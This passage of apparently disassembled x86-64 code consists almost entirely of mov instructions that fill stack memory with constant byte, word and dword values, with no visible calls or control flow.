mov dword [rsp + 0x9f2c], 0x2980
mov dword [rsp + 0x9f30], 0xee1656e
mov dword [rsp + 0x9f34], 0xf865
mov dword [rsp + 0x9f38], 0x4f60dbfd
mov dword [rsp + 0x9f3c], 0x730c699d
mov byte [rsp + 0x600], 0xd
mov eax, 0x1c5
mov word [rsp + 0x2628], ax
mov byte [rsp + 0x601], 0x10
mov dword [rsp + 0x9f40], 0x6fa8ffd3
mov dword [rsp + 0x9f44], 0xf639
mov dword [rsp + 0x9f48], 0x44d4f5
mov eax, 0x36a
mov word [rsp + 0x262c], ax
mov dword [rsp + 0x9f4c], 0x30901b0b
mov dword [rsp + 0x9f50], 0x9b66
mov byte [rsp + 0x602], 0x33
mov dword [rsp + 0x9f54], 0x4527f7cf
mov byte [rsp + 0x603], 0x7b
mov dword [rsp + 0x9f58], 0x111f
mov eax, 0x388
mov word [rsp + 0x2630], ax
mov dword [rsp + 0x9f5c], 0x3d59b658
mov dword [rsp + 0x9f60], 0x63adc473
mov dword [rsp + 0x9f64], 0x3bf7209b
mov byte [rsp + 0x604], 0x9b
mov eax, 0x343
mov word [rsp + 0x2634], ax
mov eax, 0xf7
mov word [rsp + 0x2638], ax
mov dword [rsp + 0x9f68], 0x45937441
mov dword [rsp + 0x9f6c], 0x6266b6a5
mov dword [rsp + 0x9f70], 0x348b6684
mov eax, 0x249
mov word [rsp + 0x263c], ax
mov dword [rsp + 0x9f74], 0xe4ef
mov dword [rsp + 0x9f78], 0x5674e2d9
mov byte [rsp + 0x605], 0xcc
mov byte [rsp + 0x606], 0xd7
mov dword [rsp + 0x9f7c], 0x456e
mov byte [rsp + 0x607], 0x1e
mov dword [rsp + 0x9f80], 0x633b
mov dword [rsp + 0x9f84], 0x55e69450
mov dword [rsp + 0x9f88], 0x44b7
mov dword [rsp + 0x9f8c], 0x5783dfc6
mov dword [rsp + 0x9f90], 0xc567
mov eax, 0xa45
mov word [rsp + 0x2640], ax
mov eax, 0x69
mov word [rsp + 0x2644], ax
mov dword [rsp + 0x9f94], 0x2f51
mov eax, 0x397
mov word [rsp + 0x2648], ax
mov dword [rsp + 0x9f98], 0x246a
mov eax, 0xab6
mov word [rsp + 0x264c], ax
mov dword [rsp + 0x9f9c], 0x376e0b77
mov byte [rsp + 0x608], 0x78
mov dword [rsp + 0x9fa0], 0x21011a45
mov dword [rsp + 0x9fa4], 0x3ccf2a75
mov eax, 0x447
mov word [rsp + 0x2650], ax
mov eax, 0x55a
mov word [rsp + 0x2654], ax
mov byte [rsp + 0x609], 0x64
mov eax, 0xaef
mov word [rsp + 0x2658], ax
mov dword [rsp + 0x9fa8], 0x59363c0b
mov dword [rsp + 0x9fac], 0x41493c1c
mov byte [rsp + 0x60a], 0x7b
mov byte [rsp + 0x60b], 0xea
mov eax, 0x170
mov word [rsp + 0x265c], ax
mov dword [rsp + 0x9fb0], 0x2e3d4f33
mov dword [rsp + 0x9fb4], 0x3d4a296d
mov byte [rsp + 0x60c], 2
mov dword [rsp + 0x9fb8], 0xd27d
mov dword [rsp + 0x9fbc], 0x4baad9ab
mov dword [rsp + 0x9fc0], 0x1266e2eb
mov dword [rsp + 0x9fc4], 0x1383541e
mov dword [rsp + 0x9fc8], 0xe5cb1f2
mov eax, 0x32d
mov word [rsp + 0x2660], ax
mov byte [rsp + 0x60d], 0x37
mov eax, 0x375
mov word [rsp + 0x2664], ax
mov dword [rsp + 0x9fcc], 0x4e73fa11
mov dword [rsp + 0x9fd0], 0x57a97752
mov eax, 0x3e2
mov word [rsp + 0x2668], ax
mov dword [rsp + 0x9fd4], 0x45a1201
mov eax, 0x7cb
mov word [rsp + 0x266c], ax
mov dword [rsp + 0x9fd8], 0x845c
mov eax, 0x36
mov word [rsp + 0x2670], ax
mov dword [rsp + 0x9fdc], 0x6383d574
mov dword [rsp + 0x9fe0], 0x1a291311
mov byte [rsp + 0x60e], 0x3d
mov dword [rsp + 0x9fe4], 0x6e042deb
mov byte [rsp + 0x60f], 0x69
mov eax, 0x9bf
mov word [rsp + 0x2674], ax
mov eax, 0x98f
mov word [rsp + 0x2678], ax
mov byte [rsp + 0x610], 0xcb
mov dword [rsp + 0x9fe8], 0x324f7e9a
mov dword [rsp + 0x9fec], 0x4fd93ddc
mov dword [rsp + 0x9ff0], 0x421f9cff
mov byte [rsp + 0x611], 0x1c
mov byte [rsp + 0x612], 0xc1
mov eax, 0x766
mov word [rsp + 0x267c], ax
mov byte [rsp + 0x613], 0xb7
mov byte [rsp + 0x614], 0xb6
mov dword [rsp + 0x9ff4], 0x20824856
mov dword [rsp + 0x9ff8], 0x778bfd5c
mov eax, 0xd18
mov word [rsp + 0x2680], ax
mov eax, 0x4d0
mov word [rsp + 0x2684], ax
mov dword [rsp + 0x9ffc], 0x9656
mov dword [rsp + 0xa000], 0x3face59d
mov byte [rsp + 0x615], 0x1d
mov dword [rsp + 0xa004], 0x3dfa8f9a
mov eax, 0x1c0
mov word [rsp + 0x2688], ax
mov dword [rsp + 0xa008], 0x521d943a
mov byte [rsp + 0x616], 0x7f
mov dword [rsp + 0xa00c], 0x15ec2f53
mov byte [rsp + 0x617], 0x48
mov dword [rsp + 0xa010], 0xf7d4
mov dword [rsp + 0xa014], 0x79c791ab
mov byte [rsp + 0x618], 0x65
mov dword [rsp + 0xa018], 0xefe9
mov eax, 0xe12
mov word [rsp + 0x268c], ax
mov dword [rsp + 0xa01c], 0x58c8f61c
mov dword [rsp + 0xa020], 0x5baedf73
mov dword [rsp + 0xa024], 0x3c207174
mov dword [rsp + 0xa028], 0x3182e6f8
mov dword [rsp + 0xa02c], 0x813
mov dword [rsp + 0xa030], 0x7899
mov dword [rsp + 0xa034], 0x454cee0c
mov dword [rsp + 0xa038], 0x666c535b
mov dword [rsp + 0xa03c], 0x8dde
mov byte [rsp + 0x619], 0x34
mov dword [rsp + 0xa040], 0x8e8b
mov byte [rsp + 0x61a], 0x17
mov dword [rsp + 0xa044], 0x2a9c3bbf
mov eax, 0x4ec
mov word [rsp + 0x2690], ax
mov dword [rsp + 0xa048], 0x6851
mov byte [rsp + 0x61b], 0xb6
mov dword [rsp + 0xa04c], 0xddd2
mov dword [rsp + 0xa050], 0x53d2d4ae
mov byte [rsp + 0x61c], 0x7d
mov dword [rsp + 0xa054], 0x391002f3
mov dword [rsp + 0xa058], 0x4d3ee8bd
mov byte [rsp + 0x61d], 9
mov dword [rsp + 0xa05c], 0x5c475f11
mov dword [rsp + 0xa060], 0xbfc3
mov dword [rsp + 0xa064], 0x24c68a49
mov eax, 0x2ed
mov word [rsp + 0x2694], ax
mov eax, 0x90f
mov word [rsp + 0x2698], ax
mov dword [rsp + 0xa068], 0xc2b7524
mov dword [rsp + 0xa06c], 0x2b591567
mov dword [rsp + 0xa070], 0x5aa5cf9b
mov byte [rsp + 0x61e], 0xe
mov eax, 0x194
mov word [rsp + 0x269c], ax
mov byte [rsp + 0x61f], 0x4f
mov dword [rsp + 0xa074], 0x10123683
mov dword [rsp + 0xa078], 0x1c10bbf0
mov dword [rsp + 0xa07c], 0x888fddf
mov dword [rsp + 0xa080], 0x5b61
mov dword [rsp + 0xa084], 0x51400fc9
mov eax, 0xc80
mov word [rsp + 0x26a0], ax
mov byte [rsp + 0x620], 0x27
mov dword [rsp + 0xa088], 0xc2b7
mov eax, 0xd6
mov word [rsp + 0x26a4], ax
mov byte [rsp + 0x621], 0x47
mov dword [rsp + 0xa08c], 0x7f1993e4
mov byte [rsp + 0x622], 0x53
mov eax, 0xe55
mov word [rsp + 0x26a8], ax
mov dword [rsp + 0xa090], 0x7dc5
mov dword [rsp + 0xa094], 0xbd44
mov dword [rsp + 0xa098], 0xd790
mov dword [rsp + 0xa09c], 0x4773b1de
mov eax, 0x726
mov word [rsp + 0x26ac], ax
mov eax, 0x4dd
mov word [rsp + 0x26b0], ax
mov eax, 0xbf5
mov word [rsp + 0x26b4], ax
mov eax, 0x538
mov word [rsp + 0x26b8], ax
mov dword [rsp + 0xa0a0], 0x42564db8
mov eax, 0x33c
mov word [rsp + 0x26bc], ax
mov dword [rsp + 0xa0a4], 0x39656128
mov eax, 0x7ae
mov word [rsp + 0x26c0], ax
mov eax, 6
mov word [rsp + 0x26c4], ax
mov eax, 0x3f8
mov word [rsp + 0x26c8], ax
mov eax, 0x68c
mov word [rsp + 0x26cc], ax
mov byte [rsp + 0x623], 0x32
mov eax, 0xa05
mov word [rsp + 0x26d0], ax
mov byte [rsp + 0x624], 0x71
mov dword [rsp + 0xa0a8], 0x48734e80
mov dword [rsp + 0xa0ac], 0xf549
mov dword [rsp + 0xa0b0], 0xd57f
mov dword [rsp + 0xa0b4], 0x36044b7e
mov dword [rsp + 0xa0b8], 0xca4b
mov dword [rsp + 0xa0bc], 0x734ab4b3
mov byte [rsp + 0x625], 0xa9
mov dword [rsp + 0xa0c0], 0xf53c614
mov eax, 0x5d7
mov word [rsp + 0x26d4], ax
mov dword [rsp + 0xa0c4], 0x46880eb0
mov byte [rsp + 0x626], 0x56
mov dword [rsp + 0xa0c8], 0x4f180aa6
mov dword [rsp + 0xa0cc], 0x123d46c6
mov byte [rsp + 0x627], 0x23
mov byte [rsp + 0x628], 0x35
mov byte [rsp + 0x629], 0x68
mov dword [rsp + 0xa0d0], 0xd09a
mov dword [rsp + 0xa0d4], 0x788bb382
mov dword [rsp + 0xa0d8], 0x2e0bf64a
mov dword [rsp + 0xa0dc], 0x29d7c3da
mov byte [rsp + 0x62a], 2
mov eax, 0xc3a
mov word [rsp + 0x26d8], ax
mov dword [rsp + 0xa0e0], 0x2260d977
mov dword [rsp + 0xa0e4], 0x72fac32c
mov eax, 0x78a
mov word [rsp + 0x26dc], ax
mov dword [rsp + 0xa0e8], 0xcef0
mov eax, 0x823
mov word [rsp + 0x26e0], ax
mov dword [rsp + 0xa0ec], 0xbc04
mov eax, 0x64e
mov word [rsp + 0x26e4], ax
mov dword [rsp + 0xa0f0], 0x6752bf09
mov eax, 0x462
mov word [rsp + 0x26e8], ax
mov dword [rsp + 0xa0f4], 0x4c23
mov dword [rsp + 0xa0f8], 0x5d60b595
mov eax, 0x569
mov word [rsp + 0x26ec], ax
mov eax, 0x21c
mov word [rsp + 0x26f0], ax
mov eax, 0x164
mov word [rsp + 0x26f4], ax
mov byte [rsp + 0x62b], 0x48
mov dword [rsp + 0xa0fc], 0x1c4b1c4a
mov byte [rsp + 0x62c], 0xd3
mov dword [rsp + 0xa100], 0xbb90
mov byte [rsp + 0x62d], 0x61
mov dword [rsp + 0xa104], 0xca90
mov byte [rsp + 0x62e], 0x63
mov eax, 0x792
mov word [rsp + 0x26f8], ax
mov dword [rsp + 0xa108], 0x3255
mov byte [rsp + 0x62f], 0x69
mov dword [rsp + 0xa10c], 0x6099e800
mov byte [rsp + 0x630], 0xbe
mov dword [rsp + 0xa110], 0xbdbe
mov eax, 0xe14
mov word [rsp + 0x26fc], ax
mov eax, 0x253
mov word [rsp + 0x2700], ax
mov dword [rsp + 0xa114], 0x4b363fed
mov dword [rsp + 0xa118], 0x782521a1
mov byte [rsp + 0x631], 0xfd
mov eax, 0x430
mov word [rsp + 0x2704], ax
mov dword [rsp + 0xa11c], 0xf377
mov eax, 0xeb8
mov word [rsp + 0x2708], ax
mov dword [rsp + 0xa120], 0x1597
mov dword [rsp + 0xa124], 0x85c8
mov dword [rsp + 0xa128], 0xd43e
mov eax, 0x2a3
mov word [rsp + 0x270c], ax
mov eax, 0x89b
mov word [rsp + 0x2710], ax
mov byte [rsp + 0x632], 0x3c
mov dword [rsp + 0xa12c], 0xcb52924
mov dword [rsp + 0xa130], 0x505d7a8a
mov eax, 0xd6e
mov word [rsp + 0x2714], ax
mov dword [rsp + 0xa134], 0x7944a26d
mov dword [rsp + 0xa138], 0x2f18c610
mov dword [rsp + 0xa13c], 0xfcfe84
mov dword [rsp + 0xa140], 0x8b4ea7d
mov byte [rsp + 0x633], 0x66
mov dword [rsp + 0xa144], 0x66019df8
mov eax, 0x3e6
mov word [rsp + 0x2718], ax
mov eax, 0x3c8
mov word [rsp + 0x271c], ax
mov eax, 0xec9
mov word [rsp + 0x2720], ax
mov byte [rsp + 0x634], 0x59
mov dword [rsp + 0xa148], 0x6b4f83dd
mov dword [rsp + 0xa14c], 0x29868948
mov dword [rsp + 0xa150], 0x5d5b05cc
mov dword [rsp + 0xa154], 0x8516
mov eax, 0x594
mov word [rsp + 0x2724], ax
mov eax, 0x7ab
mov word [rsp + 0x2728], ax
mov dword [rsp + 0xa158], 0xa301
mov dword [rsp + 0xa15c], 0x562d5b27
mov dword [rsp + 0xa160], 0x42a9d07d
mov eax, 0xff8
mov word [rsp + 0x272c], ax
mov byte [rsp + 0x635], 0x12
mov dword [rsp + 0xa164], 0x74ef4cb
mov dword [rsp + 0xa168], 0x477b
mov dword [rsp + 0xa16c], 0x9d3c
mov dword [rsp + 0xa170], 0x26a79bb4
mov dword [rsp + 0xa174], 0xaab4
mov dword [rsp + 0xa178], 0x6fa5e8b6
mov dword [rsp + 0xa17c], 0x8271
mov dword [rsp + 0xa180], 0x3ea2f640
mov eax, 0xd58
mov word [rsp + 0x2730], ax
mov dword [rsp + 0xa184], 0x79c280b3
mov byte [rsp + 0x636], 0x6f
mov dword [rsp + 0xa188], 0x2e9a3697
mov dword [rsp + 0xa18c], 0xdb52
mov dword [rsp + 0xa190], 0xaee4
mov dword [rsp + 0xa194], 0x3824
mov dword [rsp + 0xa198], 0xc5f4
mov dword [rsp + 0xa19c], 0x197e8cd3
mov dword [rsp + 0xa1a0], 0x6fcbf3e4
mov eax, 0x579
mov word [rsp + 0x2734], ax
mov dword [rsp + 0xa1a4], 0x6ff6
mov dword [rsp + 0xa1a8], 0x136a
mov byte [rsp + 0x637], 0x25
mov dword [rsp + 0xa1ac], 0xd003
mov dword [rsp + 0xa1b0], 0x8f6c
mov dword [rsp + 0xa1b4], 0x7243b31
mov byte [rsp + 0x638], 0x62
mov dword [rsp + 0xa1b8], 0xdfb3
mov dword [rsp + 0xa1bc], 0x19d265bd
mov dword [rsp + 0xa1c0], 0x7f18b7dd
mov byte [rsp + 0x639], 0x2f
mov dword [rsp + 0xa1c4], 0x23355b9e
mov dword [rsp + 0xa1c8], 0x1ff4ebb3
mov dword [rsp + 0xa1cc], 0x286247c6
mov dword [rsp + 0xa1d0], 0x6778d6b3
mov dword [rsp + 0xa1d4], 0x10abbdb5
mov dword [rsp + 0xa1d8], 0x49ba1c91
mov dword [rsp + 0xa1dc], 0x15523620
mov dword [rsp + 0xa1e0], 0xec2d13c
mov eax, 0x43
mov word [rsp + 0x2738], ax
mov eax, 0x88c
mov word [rsp + 0x273c], ax
mov dword [rsp + 0xa1e4], 0x687c
mov dword [rsp + 0xa1e8], 0x1a98c447
mov dword [rsp + 0xa1ec], 0x7bebce5
mov eax, 0xc91
mov word [rsp + 0x2740], ax
mov dword [rsp + 0xa1f0], 0x4824b293
mov byte [rsp + 0x63a], 0x5a
mov dword [rsp + 0xa1f4], 0x1808
mov dword [rsp + 0xa1f8], 0x2dfc005f
mov dword [rsp + 0xa1fc], 0x18c0
mov dword [rsp + 0xa200], 0xc589
mov dword [rsp + 0xa204], 0x615d303f
mov dword [rsp + 0xa208], 0xc0ab
mov byte [rsp + 0x63b], 0xea
mov dword [rsp + 0xa20c], 0x3401414
mov byte [rsp + 0x63c], 0xf2
mov byte [rsp + 0x63d], 0x7c
mov byte [rsp + 0x63e], 0xb5
mov eax, 0x69
mov word [rsp + 0x2744], ax
mov byte [rsp + 0x63f], 0x12
mov dword [rsp + 0xa210], 0x4c16
mov dword [rsp + 0xa214], 0x600d
mov dword [rsp + 0xa218], 0x2d8a6ced
mov dword [rsp + 0xa21c], 0x114308c6
mov dword [rsp + 0xa220], 0x5fad
mov eax, 0x41
mov word [rsp + 0x2748], ax
mov dword [rsp + 0xa224], 0x6978
mov dword [rsp + 0xa228], 0x4766626a
mov eax, 0x115
mov word [rsp + 0x274c], ax
mov dword [rsp + 0xa22c], 0x75c199e8
mov byte [rsp + 0x640], 0xfb
mov dword [rsp + 0xa230], 0xfa6a
mov dword [rsp + 0xa234], 0x4069c0d
mov dword [rsp + 0xa238], 0x1892
mov eax, 0x300
mov word [rsp + 0x2750], ax
mov dword [rsp + 0xa23c], 0x4b329ad1
mov dword [rsp + 0xa240], 0x58600720
mov eax, 0x5e5
mov word [rsp + 0x2754], ax
mov byte [rsp + 0x641], 0xc8
mov eax, 0x612
mov word [rsp + 0x2758], ax
mov dword [rsp + 0xa244], 0x302c
mov eax, 0x863
mov word [rsp + 0x275c], ax
mov dword [rsp + 0xa248], 0xddd8
mov dword [rsp + 0xa24c], 0x72d85b15
mov eax, 0xc63
mov word [rsp + 0x2760], ax
mov byte [rsp + 0x642], 0xac
mov dword [rsp + 0xa250], 0x5de98f97
mov dword [rsp + 0xa254], 0x5c9084a
mov dword [rsp + 0xa258], 0x27742201
mov dword [rsp + 0xa25c], 0x8af0
mov dword [rsp + 0xa260], 0x619b
mov dword [rsp + 0xa264], 0x6fac6efc
mov eax, 0x767
mov word [rsp + 0x2764], ax
mov eax, 0xe44
mov word [rsp + 0x2768], ax
mov eax, 0xe0e
mov word [rsp + 0x276c], ax
mov eax, 0xff6
mov word [rsp + 0x2770], ax
mov dword [rsp + 0xa268], 0x5fa6845b
mov dword [rsp + 0xa26c], 0x8c71
mov byte [rsp + 0x643], 0xde
mov dword [rsp + 0xa270], 0x547c847b
mov byte [rsp + 0x644], 0xa1
mov eax, 0x3c1
mov word [rsp + 0x2774], ax
mov dword [rsp + 0xa274], 0x549de76a
mov eax, 0x4a0
mov word [rsp + 0x2778], ax
mov dword [rsp + 0xa278], 0xbc30
mov byte [rsp + 0x645], 0x62
mov dword [rsp + 0xa27c], 0x8c191fe
mov byte [rsp + 0x646], 0x1c
mov dword [rsp + 0xa280], 0x660c137d
mov dword [rsp + 0xa284], 0x39ee320c
mov dword [rsp + 0xa288], 0x9b26
mov dword [rsp + 0xa28c], 0x670ae427
mov dword [rsp + 0xa290], 0xf1b
mov dword [rsp + 0xa294], 0x116addd
mov dword [rsp + 0xa298], 0x24f09d4a
mov dword [rsp + 0xa29c], 0xae20
mov dword [rsp + 0xa2a0], 0x72e
mov dword [rsp + 0xa2a4], 0x1584
mov byte [rsp + 0x647], 0x45
mov byte [rsp + 0x648], 0x57
mov dword [rsp + 0xa2a8], 0x2b9278c0
mov eax, 0x16b
mov word [rsp + 0x277c], ax
mov byte [rsp + 0x649], 0xae
mov byte [rsp + 0x64a], 0x1b
mov dword [rsp + 0xa2ac], 0x6ae17e28
mov dword [rsp + 0xa2b0], 0x74b651df
mov eax, 0x4d
mov word [rsp + 0x2780], ax
mov dword [rsp + 0xa2b4], 0x17675867
mov byte [rsp + 0x64b], 0x5c
mov dword [rsp + 0xa2b8], 0xd48f
mov byte [rsp + 0x64c], 0xa4
mov eax, 0x892
mov word [rsp + 0x2784], ax
mov byte [rsp + 0x64d], 0x9e
mov dword [rsp + 0xa2bc], 0x51689f6b
mov dword [rsp + 0xa2c0], 0xd9df
mov dword [rsp + 0xa2c4], 0x5a65ba98
mov dword [rsp + 0xa2c8], 0x619d857e
mov eax, 0x480
mov word [rsp + 0x2788], ax
mov dword [rsp + 0xa2cc], 0x7cebfc14
mov eax, 0x23b
mov word [rsp + 0x278c], ax
mov dword [rsp + 0xa2d0], 0x395d8b00
mov dword [rsp + 0xa2d4], 0xb5f7
mov eax, 0x761
mov word [rsp + 0x2790], ax
mov byte [rsp + 0x64e], 0x1c
mov byte [rsp + 0x64f], 0xad
mov dword [rsp + 0xa2d8], 0xe3e2
mov byte [rsp + 0x650], 0x64
mov dword [rsp + 0xa2dc], 0x4bec47d
mov dword [rsp + 0xa2e0], 0x8cf
mov dword [rsp + 0xa2e4], 0x668ee33b
mov eax, 0xb7d
mov word [rsp + 0x2794], ax
mov dword [rsp + 0xa2e8], 0xf059818
mov eax, 0x358
mov word [rsp + 0x2798], ax
mov dword [rsp + 0xa2ec], 0x5c6be0cb
mov dword [rsp + 0xa2f0], 0x4ff0
mov dword [rsp + 0xa2f4], 0x20f92947
mov dword [rsp + 0xa2f8], 0x2f834bff
mov dword [rsp + 0xa2fc], 0x7715
mov dword [rsp + 0xa300], 0x2c1c92bd
mov byte [rsp + 0x651], 0x8c
mov eax, 0xeff
mov word [rsp + 0x279c], ax
mov dword [rsp + 0xa304], 0x735156c5
mov dword [rsp + 0xa308], 0x2bc0c016
mov dword [rsp + 0xa30c], 0x768d
mov dword [rsp + 0xa310], 0xe92548a
mov dword [rsp + 0xa314], 0x6fd5dccb
mov dword [rsp + 0xa318], 0x6ac7
mov byte [rsp + 0x652], 0xd1
mov dword [rsp + 0xa31c], 0x1d7c1b8f
mov byte [rsp + 0x653], 0x15
mov dword [rsp + 0xa320], 0x2a397bf0
mov dword [rsp + 0xa324], 0x729df3bb
mov dword [rsp + 0xa328], 0x7e66937
mov byte [rsp + 0x654], 0xa4
mov eax, 0x42d
mov word [rsp + 0x27a0], ax
mov dword [rsp + 0xa32c], 0x5672a617
mov dword [rsp + 0xa330], 0x5044
mov dword [rsp + 0xa334], 0x194
mov byte [rsp + 0x655], 0x4b
mov dword [rsp + 0xa338], 0x6bd409f6
mov dword [rsp + 0xa33c], 0x1b714a02
mov dword [rsp + 0xa340], 0x69eae102
mov dword [rsp + 0xa344], 0x77b665ea
mov dword [rsp + 0xa348], 0x1ab88473
mov dword [rsp + 0xa34c], 0xec424c
mov dword [rsp + 0xa350], 0x28bbd139
mov dword [rsp + 0xa354], 0x5d52b633
mov dword [rsp + 0xa358], 0x41dbcd69
mov eax, 0x44f
mov word [rsp + 0x27a4], ax
mov dword [rsp + 0xa35c], 0xd8971d7
mov byte [rsp + 0x656], 0x15
mov dword [rsp + 0xa360], 0x6cbe4598
mov dword [rsp + 0xa364], 0x16bfa0ab
mov eax, 0x5f0
mov word [rsp + 0x27a8], ax
mov byte [rsp + 0x657], 0x51
mov dword [rsp + 0xa368], 0x7759aca5
mov dword [rsp + 0xa36c], 0x74585715
mov dword [rsp + 0xa370], 0x5011acf4
mov dword [rsp + 0xa374], 0x3e845a1
mov eax, 0x72c
mov word [rsp + 0x27ac], ax
mov dword [rsp + 0xa378], 0x526b3677
mov dword [rsp + 0xa37c], 0x82f4f7e
mov dword [rsp + 0xa380], 0x724626d7
mov eax, 0x3c5
mov word [rsp + 0x27b0], ax
mov dword [rsp + 0xa384], 0x25bbda7f
mov dword [rsp + 0xa388], 0x73709f9f
mov dword [rsp + 0xa38c], 0x42c67bf0
mov eax, 0x339
mov word [rsp + 0x27b4], ax
mov dword [rsp + 0xa390], 0x48d3de76
mov eax, 0x3d2
mov word [rsp + 0x27b8], ax
mov dword [rsp + 0xa394], 0x3bb213e5
mov dword [rsp + 0xa398], 0x6b76e11
mov dword [rsp + 0xa39c], 0x31f5b022
mov eax, 0x57a
mov word [rsp + 0x27bc], ax
mov eax, 0x781
mov word [rsp + 0x27c0], ax
mov eax, 0x320
mov word [rsp + 0x27c4], ax
mov dword [rsp + 0xa3a0], 0x6538
mov byte [rsp + 0x658], 0x8b
mov dword [rsp + 0xa3a4], 0x43927e3d
mov byte [rsp + 0x659], 0xc6
mov dword [rsp + 0xa3a8], 0x64a59612
mov dword [rsp + 0xa3ac], 0x427b
mov dword [rsp + 0xa3b0], 0x123d80c2
mov dword [rsp + 0xa3b4], 0x25db3131
mov dword [rsp + 0xa3b8], 0x2ac999fd
mov byte [rsp + 0x65a], 0xdf
mov dword [rsp + 0xa3bc], 0xe5f2
mov byte [rsp + 0x65b], 0xe4
mov eax, 0xe55
mov word [rsp + 0x27c8], ax
mov byte [rsp + 0x65c], 0xb8
mov dword [rsp + 0xa3c0], 0xcdd8be3
mov dword [rsp + 0xa3c4], 0xf376
mov dword [rsp + 0xa3c8], 0x7d9250cb
mov dword [rsp + 0xa3cc], 0xcae3
mov dword [rsp + 0xa3d0], 0x200825d0
mov eax, 0x146
mov word [rsp + 0x27cc], ax
mov dword [rsp + 0xa3d4], 0x2ed5e388
mov dword [rsp + 0xa3d8], 0x1ff2f820
mov byte [rsp + 0x65d], 0x2d
mov dword [rsp + 0xa3dc], 0x3f7023de
mov eax, 0x1f5
mov word [rsp + 0x27d0], ax
mov dword [rsp + 0xa3e0], 0x629d57a3
mov byte [rsp + 0x65e], 0xc2
mov dword [rsp + 0xa3e4], 0x6c21174a
mov dword [rsp + 0xa3e8], 0x1f0d
mov dword [rsp + 0xa3ec], 0x4687d053
mov dword [rsp + 0xa3f0], 0x75b7
mov eax, 0x8c3
mov word [rsp + 0x27d4], ax
mov byte [rsp + 0x65f], 0x25
mov eax, 0x5e
mov word [rsp + 0x27d8], ax
mov dword [rsp + 0xa3f4], 0x2a56cd38
mov dword [rsp + 0xa3f8], 0x3fb7
mov dword [rsp + 0xa3fc], 0xee19
mov dword [rsp + 0xa400], 0x2d4d09df
mov eax, 0xc9e
mov word [rsp + 0x27dc], ax
mov byte [rsp + 0x660], 0x54
mov dword [rsp + 0xa404], 0x508ef51f
mov byte [rsp + 0x661], 0x5d
mov dword [rsp + 0xa408], 0x11fb
mov eax, 0x430
mov word [rsp + 0x27e0], ax
mov dword [rsp + 0xa40c], 0x7591d1e8
mov byte [rsp + 0x662], 0x4b
mov eax, 0x37c
mov word [rsp + 0x27e4], ax
mov dword [rsp + 0xa410], 0x4fcb4e9f
mov byte [rsp + 0x663], 0x13
mov dword [rsp + 0xa414], 0x3f7a
mov dword [rsp + 0xa418], 0xc98e
mov eax, RemoveWindowSubclass
mov word [rsp + 0x27e8], ax
mov byte [rsp + 0x664], 3
mov dword [rsp + 0xa41c], 0x4765016f
mov dword [rsp + 0xa420], 0x17f4ce2e
mov dword [rsp + 0xa424], 0xce56
mov eax, 0xce6
mov word [rsp + 0x27ec], ax
mov eax, 0x4ce
mov word [rsp + 0x27f0], ax
mov eax, 0xab6
mov word [rsp + 0x27f4], ax
mov dword [rsp + 0xa428], 0x2a003e62
mov dword [rsp + 0xa42c], 0x4ff35b5e
mov eax, 0x7cb
mov word [rsp + 0x27f8], ax
mov eax, 0x596
mov word [rsp + 0x27fc], ax
mov eax, 0x644
mov word [rsp + 0x2800], ax
mov dword [rsp + 0xa430], 0xfc97
mov eax, 0x878
mov word [rsp + 0x2804], ax
mov dword [rsp + 0xa434], 0xb964
mov dword [rsp + 0xa438], 0x24feb238
mov dword [rsp + 0xa43c], 0x6e53bff
mov dword [rsp + 0xa440], 0x8d83
mov dword [rsp + 0xa444], 0x57b36adc
mov dword [rsp + 0xa448], 0x57fea363
mov dword [rsp + 0xa44c], 0x1beb49c0
mov eax, 0x76
mov word [rsp + 0x2808], ax
mov dword [rsp + 0xa450], 0x7b74
mov dword [rsp + 0xa454], 0x7570b15b
mov dword [rsp + 0xa458], 0x24649f50
mov byte [rsp + 0x665], 0xa4
mov dword [rsp + 0xa45c], 0xd58d
mov dword [rsp + 0xa460], 0x77195e9b
mov dword [rsp + 0xa464], 0xf743
mov byte [rsp + 0x666], 0x44
mov dword [rsp + 0xa468], 0x243c148c
mov byte [rsp + 0x667], 0xdd
mov byte [rsp + 0x668], 0x4f
mov dword [rsp + 0xa46c], 0x35b7
mov dword [rsp + 0xa470], 0x3189d9bf
mov eax, 0xff
mov word [rsp + 0x280c], ax
mov eax, 0x1d2
mov word [rsp + 0x2810], ax
mov byte [rsp + 0x669], 0xda
mov byte [rsp + 0x66a], 0xb2
mov eax, 0x556
mov word [rsp + 0x2814], ax
mov eax, 0xda2
mov word [rsp + 0x2818], ax
mov dword [rsp + 0xa474], 0x2d352b5c
mov dword [rsp + 0xa478], 0x7c1e0f56
mov dword [rsp + 0xa47c], 0xc671
mov dword [rsp + 0xa480], 0x115bca03
mov eax, 0x3d7
mov word [rsp + 0x281c], ax
mov dword [rsp + 0xa484], 0x16cd9522
mov byte [rsp + 0x66b], 0x1c
mov eax, 0x451
mov word [rsp + 0x2820], ax
mov byte [rsp + 0x66c], 0x27
mov byte [rsp + 0x66d], 0x61
mov byte [rsp + 0x66e], 0x9d
mov dword [rsp + 0xa488], 0x4830d969
mov eax, 0x4f2
mov word [rsp + 0x2824], ax
mov dword [rsp + 0xa48c], 0xae29
mov dword [rsp + 0xa490], 0x3a4b12dc
mov dword [rsp + 0xa494], 0x279a7708
mov byte [rsp + 0x66f], 0x3f
mov byte [rsp + 0x670], 0x1c
mov dword [rsp + 0xa498], 0x7855042b
mov eax, 0x613
mov word [rsp + 0x2828], ax
mov eax, 0x34b
mov word [rsp + 0x282c], ax
mov byte [rsp + 0x671], 0xb4
mov dword [rsp + 0xa49c], 0x70f0ede2
mov dword [rsp + 0xa4a0], 0x3e09719f
mov dword [rsp + 0xa4a4], 0xbf2f
mov eax, 0x493
mov word [rsp + 0x2830], ax
mov dword [rsp + 0xa4a8], 0xacf8
mov dword [rsp + 0xa4ac], 0x79379b1d
mov byte [rsp + 0x672], 0x9b
mov eax, 0x150
mov word [rsp + 0x2834], ax
mov byte [rsp + 0x673], 0x77
mov dword [rsp + 0xa4b0], 0x5b8f0a9
mov byte [rsp + 0x674], 0x6f
mov eax, 0xeb2
mov word [rsp + 0x2838], ax
mov dword [rsp + 0xa4b4], 0x6492
mov eax, 0x5f9
mov word [rsp + 0x283c], ax
mov eax, 0xd8d
mov word [rsp + 0x2840], ax
mov dword [rsp + 0xa4b8], 0x7165cebc
mov byte [rsp + 0x675], 0xed
mov dword [rsp + 0xa4bc], 0x5b4b8b72
mov dword [rsp + 0xa4c0], 0x6318707e
mov dword [rsp + 0xa4c4], 0x2787efed
mov byte [rsp + 0x676], 0x19
mov dword [rsp + 0xa4c8], 0xad9f
mov dword [rsp + 0xa4cc], 0x63b250d8
mov dword [rsp + 0xa4d0], 0x56d8
